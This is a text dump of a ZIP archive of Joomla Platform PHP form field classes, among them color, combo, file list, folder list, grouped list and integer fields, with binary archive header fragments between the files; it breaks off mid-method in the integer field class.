/**
* Method to get the radio button field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->checkedOptions = (string)
$this->element['checked'];
}
return $return;
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// True if the field has 'value' set. In other words, it has
been stored, don't use the default values.
$hasValue = (isset($this->value) && !empty($this->value));
// If a value has been stored, use it. Otherwise, use the defaults.
$checkedOptions = $hasValue ? $this->value : $this->checkedOptions;
$extraData = array(
'checkedOptions' => is_array($checkedOptions) ?
$checkedOptions : explode(',', (string) $checkedOptions),
'hasValue' => $hasValue,
'options' => $this->getOptions(),
);
return array_merge($data, $extraData);
}
}
PKKn�[�#&""form/fields/color.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Color Form Field class for the Joomla Platform.
* This implementation is designed to be compatible with HTML5's
`<input type="color">`
*
* @link http://www.w3.org/TR/html-markup/input.color.html
* @since 1.7.3
*/
class JFormFieldColor extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.3
*/
protected $type = 'Color';
/**
* The control.
*
* @var mixed
* @since 3.2
*/
protected $control = 'hue';
/**
* The format.
*
* @var string
* @since 3.6.0
*/
protected $format = 'hex';
/**
* The keywords (transparent,initial,inherit).
*
* @var string
* @since 3.6.0
*/
protected $keywords = '';
/**
* The position.
*
* @var mixed
* @since 3.2
*/
protected $position = 'default';
/**
* The colors.
*
* @var mixed
* @since 3.2
*/
protected $colors;
/**
* The split.
*
* @var integer
* @since 3.2
*/
protected $split = 3;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.5
*/
protected $layout = 'joomla.form.field.color';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'control':
case 'format':
case 'keywords':
case 'exclude':
case 'colors':
case 'split':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'split':
$value = (int) $value;
case 'control':
case 'format':
$this->$name = (string) $value;
break;
case 'keywords':
$this->$name = (string) $value;
break;
case 'exclude':
case 'colors':
$this->$name = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->control = isset($this->element['control']) ?
(string) $this->element['control'] : 'hue';
$this->format = isset($this->element['format']) ?
(string) $this->element['format'] : 'hex';
$this->keywords = isset($this->element['keywords']) ?
(string) $this->element['keywords'] : '';
$this->position = isset($this->element['position']) ?
(string) $this->element['position'] : 'default';
$this->colors = (string) $this->element['colors'];
$this->split = isset($this->element['split']) ? (int)
$this->element['split'] : 3;
}
return $return;
}
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.3
*/
protected function getInput()
{
// Switch the layouts
$this->layout = $this->control === 'simple' ?
$this->layout . '.simple' : $this->layout .
'.advanced';
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$lang = JFactory::getLanguage();
$data = parent::getLayoutData();
$color = strtolower($this->value);
$color = ! $color ? '' : $color;
// Position of the panel can be: right (default), left, top or bottom
(default RTL is left)
$position = ' data-position="' . (($lang->isRTL()
&& $this->position == 'default') ? 'left' :
$this->position) . '"';
if (!$color || in_array($color, array('none',
'transparent')))
{
$color = 'none';
}
elseif ($color['0'] != '#' &&
$this->format == 'hex')
{
$color = '#' . $color;
}
// Assign data for simple/advanced mode
$controlModeData = $this->control === 'simple' ?
$this->getSimpleModeLayoutData() :
$this->getAdvancedModeLayoutData($lang);
$extraData = array(
'color' => $color,
'format' => $this->format,
'keywords' => $this->keywords,
'position' => $position,
'validate' => $this->validate
);
return array_merge($data, $extraData, $controlModeData);
}
/**
* Method to get the data for the simple mode to be passed to the layout
for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getSimpleModeLayoutData()
{
$colors = strtolower($this->colors);
if (empty($colors))
{
$colors = array(
'none',
'#049cdb',
'#46a546',
'#9d261d',
'#ffc40d',
'#f89406',
'#c3325f',
'#7a43b6',
'#ffffff',
'#999999',
'#555555',
'#000000',
);
}
else
{
$colors = explode(',', $colors);
}
if (!$this->split)
{
$count = count($colors);
if ($count % 5 == 0)
{
$split = 5;
}
else
{
if ($count % 4 == 0)
{
$split = 4;
}
}
}
$split = $this->split ? $this->split : 3;
return array(
'colors' => $colors,
'split' => $split,
);
}
/**
* Method to get the data for the advanced mode to be passed to the layout
for rendering.
*
* @param object $lang The language object
*
* @return array
*
* @since 3.5
*/
protected function getAdvancedModeLayoutData($lang)
{
return array(
'colors' => $this->colors,
'control' => $this->control,
'lang' => $lang,
);
}
}
PKKn�[��x��form/fields/combo.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Implements a combo box field.
*
* @since 1.7.0
*/
class JFormFieldCombo extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Combo';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.8.0
*/
protected $layout = 'joomla.form.field.combo';
/**
* Method to get the field input markup for a combo box field.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
if (empty($this->layout))
{
throw new UnexpectedValueException(sprintf('%s has no layout
assigned.', $this->name));
}
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.8.0
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Get the field options.
$options = $this->getOptions();
$extraData = array(
'options' => $options,
);
return array_merge($data, $extraData);
}
}
PKKn�[&���form/fields/components.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
use Joomla\Utilities\ArrayHelper;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Framework.
*
* @since 3.7.0
*/
class JFormFieldComponents extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 3.7.0
*/
protected $type = 'Components';
/**
* Method to get a list of options for a list input.
*
* @return array An array of JHtml options.
*
* @since 2.5.0
*/
protected function getOptions()
{
$db = JFactory::getDbo();
$query = $db->getQuery(true)
->select('name AS text, element AS value')
->from('#__extensions')
->where('enabled >= 1')
->where('type =' . $db->quote('component'));
$items = $db->setQuery($query)->loadObjectList();
if ($items)
{
$lang = JFactory::getLanguage();
foreach ($items as &$item)
{
// Load language
$extension = $item->value;
$lang->load("$extension.sys", JPATH_ADMINISTRATOR, null,
false, true)
|| $lang->load("$extension.sys", JPATH_ADMINISTRATOR .
'/components/' . $extension, null, false, true);
// Translate component name
$item->text = JText::_($item->text);
}
// Sort by component name
$items = ArrayHelper::sortObjects($items, 'text', 1, true,
true);
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $items);
return $options;
}
}
PKKn�[��� "form/fields/databaseconnection.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a list of available database connections, optionally limiting
to
* a given list.
*
* @see JDatabaseDriver
* @since 1.7.3
*/
class JFormFieldDatabaseConnection extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.3
*/
protected $type = 'DatabaseConnection';
/**
* Method to get the list of database options.
*
* This method produces a drop down list of available databases supported
* by JDatabaseDriver classes that are also supported by the application.
*
* @return array The field option objects.
*
* @since 1.7.3
* @see JDatabaseDriver::getConnectors()
*/
protected function getOptions()
{
// This gets the connectors available in the platform and supported by
the server.
$available = JDatabaseDriver::getConnectors();
/**
* This gets the list of database types supported by the application.
* This should be entered in the form definition as a comma separated
list.
* If no supported databases are listed, it is assumed all available
databases
* are supported.
*/
$supported = $this->element['supported'];
if (!empty($supported))
{
$supported = explode(',', $supported);
foreach ($supported as $support)
{
if (in_array($support, $available))
{
$options[$support] = JText::_(ucfirst($support));
}
}
}
else
{
foreach ($available as $support)
{
$options[$support] = JText::_(ucfirst($support));
}
}
// This will come into play if an application is installed that requires
// a database that is not available on the server.
if (empty($options))
{
$options[''] = JText::_('JNONE');
}
return $options;
}
}
PKKn�[��\D��form/fields/email.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('text');
/**
* Form Field class for the Joomla Platform.
* Provides and input field for email addresses
*
* @link http://www.w3.org/TR/html-markup/input.email.html#input.email
* @see JFormRuleEmail
* @since 1.7.0
*/
class JFormFieldEMail extends JFormFieldText
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Email';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.email';
/**
* Method to get the field input markup for email addresses.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.5
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'maxLength' => $this->maxLength,
'multiple' => $this->multiple,
);
return array_merge($data, $extraData);
}
}
PKKn�["���\
\
form/fields/file.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides an input field for files
*
* @link http://www.w3.org/TR/html-markup/input.file.html#input.file
* @since 1.7.0
*/
class JFormFieldFile extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'File';
/**
* The accepted file type list.
*
* @var mixed
* @since 3.2
*/
protected $accept;
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.6
*/
protected $layout = 'joomla.form.field.file';
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'accept':
return $this->accept;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'accept':
$this->accept = (string) $value;
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->accept = (string) $this->element['accept'];
}
return $return;
}
/**
* Method to get the field input markup for the file field.
* Field attributes allow specification of a maximum file size and a
string
* of accepted file extensions.
*
* @return string The field input markup.
*
* @note The field does not include an upload mechanism.
* @see JFormFieldMedia
* @since 1.7.0
*/
protected function getInput()
{
return
$this->getRenderer($this->layout)->render($this->getLayoutData());
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.6
*/
protected function getLayoutData()
{
$data = parent::getLayoutData();
$extraData = array(
'accept' => $this->accept,
'multiple' => $this->multiple,
);
return array_merge($data, $extraData);
}
}
PKKn�[���P,,form/fields/filelist.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.file');
jimport('joomla.filesystem.path');
JFormHelper::loadFieldClass('list');
/**
* Supports an HTML select list of files
*
* @since 1.7.0
*/
class JFormFieldFileList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'FileList';
/**
* The filter.
*
* @var string
* @since 3.2
*/
protected $filter;
/**
* The exclude.
*
* @var string
* @since 3.2
*/
protected $exclude;
/**
* The hideNone.
*
* @var boolean
* @since 3.2
*/
protected $hideNone = false;
/**
* The hideDefault.
*
* @var boolean
* @since 3.2
*/
protected $hideDefault = false;
/**
* The stripExt.
*
* @var boolean
* @since 3.2
*/
protected $stripExt = false;
/**
* The directory.
*
* @var string
* @since 3.2
*/
protected $directory;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'filter':
case 'exclude':
case 'hideNone':
case 'hideDefault':
case 'stripExt':
case 'directory':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'filter':
case 'directory':
case 'exclude':
$this->$name = (string) $value;
break;
case 'hideNone':
case 'hideDefault':
case 'stripExt':
$value = (string) $value;
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->filter = (string) $this->element['filter'];
$this->exclude = (string) $this->element['exclude'];
$hideNone = (string) $this->element['hide_none'];
$this->hideNone = ($hideNone == 'true' || $hideNone ==
'hideNone' || $hideNone == '1');
$hideDefault = (string)
$this->element['hide_default'];
$this->hideDefault = ($hideDefault == 'true' ||
$hideDefault == 'hideDefault' || $hideDefault == '1');
$stripExt = (string) $this->element['stripext'];
$this->stripExt = ($stripExt == 'true' || $stripExt ==
'stripExt' || $stripExt == '1');
// Get the path in which to search for file options.
$this->directory = (string) $this->element['directory'];
}
return $return;
}
/**
* Method to get the list of files for the field options.
* Specify the target directory with a directory attribute
* Attributes allow an exclude mask and stripping of extensions from file
name.
* Default attribute may optionally be set to null (no file) or -1 (use a
default).
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
$path = $this->directory;
if (!is_dir($path))
{
$path = JPATH_ROOT . '/' . $path;
}
$path = JPath::clean($path);
// Prepend some default options based on field attributes.
if (!$this->hideNone)
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
if (!$this->hideDefault)
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
// Get a list of files in the search path with the given filter.
$files = JFolder::files($path, $this->filter);
// Build the options list from the list of files.
if (is_array($files))
{
foreach ($files as $file)
{
// Check to see if the file is in the exclude mask.
if ($this->exclude)
{
if (preg_match(chr(1) . $this->exclude . chr(1), $file))
{
continue;
}
}
// If the extension is to be stripped, do it.
if ($this->stripExt)
{
$file = JFile::stripExt($file);
}
$options[] = JHtml::_('select.option', $file, $file);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[g�Kv��form/fields/folderlist.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
jimport('joomla.filesystem.folder');
jimport('joomla.filesystem.path');
JFormHelper::loadFieldClass('list');
/**
* Supports an HTML select list of folder
*
* @since 1.7.0
*/
class JFormFieldFolderList extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'FolderList';
/**
* The filter.
*
* @var string
* @since 3.2
*/
protected $filter;
/**
* The exclude.
*
* @var string
* @since 3.2
*/
protected $exclude;
/**
* The recursive.
*
* @var string
* @since 3.6
*/
protected $recursive;
/**
* The hideNone.
*
* @var boolean
* @since 3.2
*/
protected $hideNone = false;
/**
* The hideDefault.
*
* @var boolean
* @since 3.2
*/
protected $hideDefault = false;
/**
* The directory.
*
* @var string
* @since 3.2
*/
protected $directory;
/**
* Method to get certain otherwise inaccessible properties from the form
field object.
*
* @param string $name The property name for which to get the value.
*
* @return mixed The property value or null.
*
* @since 3.2
*/
public function __get($name)
{
switch ($name)
{
case 'filter':
case 'exclude':
case 'recursive':
case 'hideNone':
case 'hideDefault':
case 'directory':
return $this->$name;
}
return parent::__get($name);
}
/**
* Method to set certain otherwise inaccessible properties of the form
field object.
*
* @param string $name The property name for which to set the value.
* @param mixed $value The value of the property.
*
* @return void
*
* @since 3.2
*/
public function __set($name, $value)
{
switch ($name)
{
case 'filter':
case 'directory':
case 'exclude':
case 'recursive':
$this->$name = (string) $value;
break;
case 'hideNone':
case 'hideDefault':
$value = (string) $value;
$this->$name = ($value === 'true' || $value === $name ||
$value === '1');
break;
default:
parent::__set($name, $value);
}
}
/**
* Method to attach a JForm object to the field.
*
* @param SimpleXMLElement $element The SimpleXMLElement object
representing the `<field>` tag for the form field object.
* @param mixed $value The form field value to validate.
* @param string $group The field name group control
value. This acts as an array container for the field.
* For example if the field has
name="foo" and the group value is set to "bar" then the
* full field name would end up being
"bar[foo]".
*
* @return boolean True on success.
*
* @see JFormField::setup()
* @since 3.2
*/
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$return = parent::setup($element, $value, $group);
if ($return)
{
$this->filter = (string) $this->element['filter'];
$this->exclude = (string) $this->element['exclude'];
$recursive = (string) $this->element['recursive'];
$this->recursive = ($recursive == 'true' || $recursive ==
'recursive' || $recursive == '1');
$hideNone = (string) $this->element['hide_none'];
$this->hideNone = ($hideNone == 'true' || $hideNone ==
'hideNone' || $hideNone == '1');
$hideDefault = (string)
$this->element['hide_default'];
$this->hideDefault = ($hideDefault == 'true' ||
$hideDefault == 'hideDefault' || $hideDefault == '1');
// Get the path in which to search for file options.
$this->directory = (string) $this->element['directory'];
}
return $return;
}
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
$path = $this->directory;
if (!is_dir($path))
{
if (is_dir(JPATH_ROOT . '/' . $path))
{
$path = JPATH_ROOT . '/' . $path;
}
else
{
return;
}
}
$path = JPath::clean($path);
// Prepend some default options based on field attributes.
if (!$this->hideNone)
{
$options[] = JHtml::_('select.option', '-1',
JText::alt('JOPTION_DO_NOT_USE',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
if (!$this->hideDefault)
{
$options[] = JHtml::_('select.option', '',
JText::alt('JOPTION_USE_DEFAULT',
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)));
}
// Get a list of folders in the search path with the given filter.
$folders = JFolder::folders($path, $this->filter, $this->recursive,
true);
// Build the options list from the list of folders.
if (is_array($folders))
{
foreach ($folders as $folder)
{
// Remove the root part and the leading /
$folder = trim(str_replace($path, '', $folder),
'/');
// Check to see if the file is in the exclude mask.
if ($this->exclude)
{
if (preg_match(chr(1) . $this->exclude . chr(1), $folder))
{
continue;
}
}
$options[] = JHtml::_('select.option', $folder, $folder);
}
}
// Merge any additional options in the XML definition.
$options = array_merge(parent::getOptions(), $options);
return $options;
}
}
PKKn�[��fform/fields/groupedlist.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a grouped list select field.
*
* @since 1.7.0
*/
class JFormFieldGroupedList extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'GroupedList';
/**
* Method to get the field option groups.
*
* @return array The field option objects as a nested array in groups.
*
* @since 1.7.0
* @throws UnexpectedValueException
*/
protected function getGroups()
{
$groups = array();
$label = 0;
foreach ($this->element->children() as $element)
{
switch ($element->getName())
{
// The element is an <option />
case 'option':
// Initialize the group if necessary.
if (!isset($groups[$label]))
{
$groups[$label] = array();
}
$disabled = (string) $element['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', ($element['value']) ? (string)
$element['value'] : trim((string) $element),
JText::alt(trim((string) $element),
preg_replace('/[^a-zA-Z0-9_\-]/', '_',
$this->fieldname)), 'value', 'text',
$disabled
);
// Set some option attributes.
$tmp->class = (string) $element['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $element['onclick'];
// Add the option.
$groups[$label][] = $tmp;
break;
// The element is a <group />
case 'group':
// Get the group label.
if ($groupLabel = (string) $element['label'])
{
$label = JText::_($groupLabel);
}
// Initialize the group if necessary.
if (!isset($groups[$label]))
{
$groups[$label] = array();
}
// Iterate through the children and build an array of options.
foreach ($element->children() as $option)
{
// Only add <option /> elements.
if ($option->getName() != 'option')
{
continue;
}
$disabled = (string) $option['disabled'];
$disabled = ($disabled == 'true' || $disabled ==
'disabled' || $disabled == '1');
// Create a new option object based on the <option /> element.
$tmp = JHtml::_(
'select.option', ($option['value']) ? (string)
$option['value'] : JText::_(trim((string) $option)),
JText::_(trim((string) $option)), 'value',
'text', $disabled
);
// Set some option attributes.
$tmp->class = (string) $option['class'];
// Set some JavaScript option attributes.
$tmp->onclick = (string) $option['onclick'];
// Add the option.
$groups[$label][] = $tmp;
}
if ($groupLabel)
{
$label = count($groups);
}
break;
// Unknown element type.
default:
throw new UnexpectedValueException(sprintf('Unsupported element
%s in JFormFieldGroupedList', $element->getName()), 500);
}
}
reset($groups);
return $groups;
}
/**
* Method to get the field input markup fora grouped list.
* Multiselect is enabled by using the multiple attribute.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
$html = array();
$attr = '';
// Initialize some field attributes.
$attr .= !empty($this->class) ? ' class="' .
$this->class . '"' : '';
$attr .= !empty($this->size) ? ' size="' .
$this->size . '"' : '';
$attr .= $this->multiple ? ' multiple' : '';
$attr .= $this->required ? ' required
aria-required="true"' : '';
$attr .= $this->autofocus ? ' autofocus' : '';
// To avoid user's confusion, readonly="true" should imply
disabled="true".
if ($this->readonly || $this->disabled)
{
$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= !empty($this->onchange) ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field groups.
$groups = (array) $this->getGroups();
// Create a read-only list (no name) with a hidden input to store the
value.
if ($this->readonly)
{
$html[] = JHtml::_(
'select.groupedlist', $groups, null,
array(
'list.attr' => $attr, 'id' => $this->id,
'list.select' => $this->value, 'group.items'
=> null, 'option.key.toHtml' => false,
'option.text.toHtml' => false,
)
);
// E.g. form field type tag sends $this->value as array
if ($this->multiple && is_array($this->value))
{
if (!count($this->value))
{
$this->value[] = '';
}
foreach ($this->value as $value)
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' . htmlspecialchars($value,
ENT_COMPAT, 'UTF-8') . '"/>';
}
}
else
{
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'"/>';
}
}
// Create a regular list.
else
{
$html[] = JHtml::_(
'select.groupedlist', $groups, $this->name,
array(
'list.attr' => $attr, 'id' => $this->id,
'list.select' => $this->value, 'group.items'
=> null, 'option.key.toHtml' => false,
'option.text.toHtml' => false,
)
);
}
return implode($html);
}
}
PKKn�[��۵��form/fields/hidden.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Form Field class for the Joomla Platform.
* Provides a hidden field
*
* @link http://www.w3.org/TR/html-markup/input.hidden.html#input.hidden
* @since 1.7.0
*/
class JFormFieldHidden extends JFormField
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Hidden';
/**
* Name of the layout being used to render the field
*
* @var string
* @since 3.7
*/
protected $layout = 'joomla.form.field.hidden';
/**
* Method to get the field input markup.
*
* @return string The field input markup.
*
* @since 1.7.0
*/
protected function getInput()
{
// Trim the trailing line in the layout file
return
rtrim($this->getRenderer($this->layout)->render($this->getLayoutData()),
PHP_EOL);
}
/**
* Method to get the data to be passed to the layout for rendering.
*
* @return array
*
* @since 3.7
*/
protected function getLayoutData()
{
return parent::getLayoutData();
}
}
PKKn�[��
���form/fields/imagelist.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('filelist');
/**
* Supports an HTML select list of image
*
* @since 1.7.0
*/
class JFormFieldImageList extends JFormFieldFileList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'ImageList';
/**
* Method to get the list of images field options.
* Use the filter attribute to specify allowable file extensions.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
// Define the image file type filter.
$this->filter =
'\.png$|\.gif$|\.jpg$|\.bmp$|\.ico$|\.jpeg$|\.psd$|\.eps$';
// Get the field options.
return parent::getOptions();
}
}
PKKn�[�?i��form/fields/integer.phpnu�[���<?php
/**
* @package Joomla.Platform
* @subpackage Form
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
JFormHelper::loadFieldClass('list');
/**
* Form Field class for the Joomla Platform.
* Provides a select list of integers with specified first, last and step
values.
*
* @since 1.7.0
*/
class JFormFieldInteger extends JFormFieldList
{
/**
* The form field type.
*
* @var string
* @since 1.7.0
*/
protected $type = 'Integer';
/**
* Method to get the field options.
*
* @return array The field option objects.
*
* @since 1.7.0
*/
protected function getOptions()
{
$options = array();
// Initialize some field attributes.
$first = (int) $this->element['first'];
$last = (int) $this->element['last'];
$step = (int) $this->element['step'];
// Sanity checks.
if ($step == 0)
{
// Step of 0 will create an endless loop.
return $options;
}
elseif ($first < $last && $step < 0)
{
// A negative step will never reach the last number.
return $options;
}
elseif ($first > $last && $step > 0)
{
// A position step will never reach the last number.
return $options;
}
elseif ($step < 0)
{
// Build the options array backwards.
for ($i = $first; $i >= $last; $i += $step)
{
$options[] = JHtml::_('select.option', $i);
}
}
else
{
// Build the options array.
for ($i = $first; $i <= $last; $i += $step)
{
$options[] = JHtml::_('select.option', $i);
}
}
